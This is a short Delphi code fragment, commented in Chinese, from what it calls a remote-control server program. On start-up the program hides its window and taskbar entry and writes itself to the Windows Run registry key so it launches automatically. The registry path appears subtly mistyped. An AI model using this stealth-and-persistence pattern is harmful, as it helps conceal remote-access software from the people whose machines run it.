uses Registry;
procedure TFrmServer.FormCreate(Sender: TObject);
var
roc:TRegistry;
FileName:string;
begin
{将窗口启动就设为最小界面}
FrmServer.Height :=0;
FrmServer.Width :=0;
// Application.ShowMainForm:=False;
{程序不出现主窗口,但在远程控制中不能用。不然无法连接。也许是我的方法不对吧}
{程序不出现在任务栏}
SetWindowLong(Application.Handle, GWL_EXSTYLE,
GetWindowLong(Application.Handle, GWL_EXSTYLE)
or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
{当程序一被执行就将自己写入注册表。己用来以后自动启动}
Filename:=Application.ExeName;
roc:=Tregistry.Create ;
roc.RootKey:=HKEY_LOCAL_MACHINE;
roc.OpenKey('SOFTWARE/Microsoft/Windows/CurrentVersion/Run',False);
roc.WriteString('servers',filename);
roc.Destroy;
end;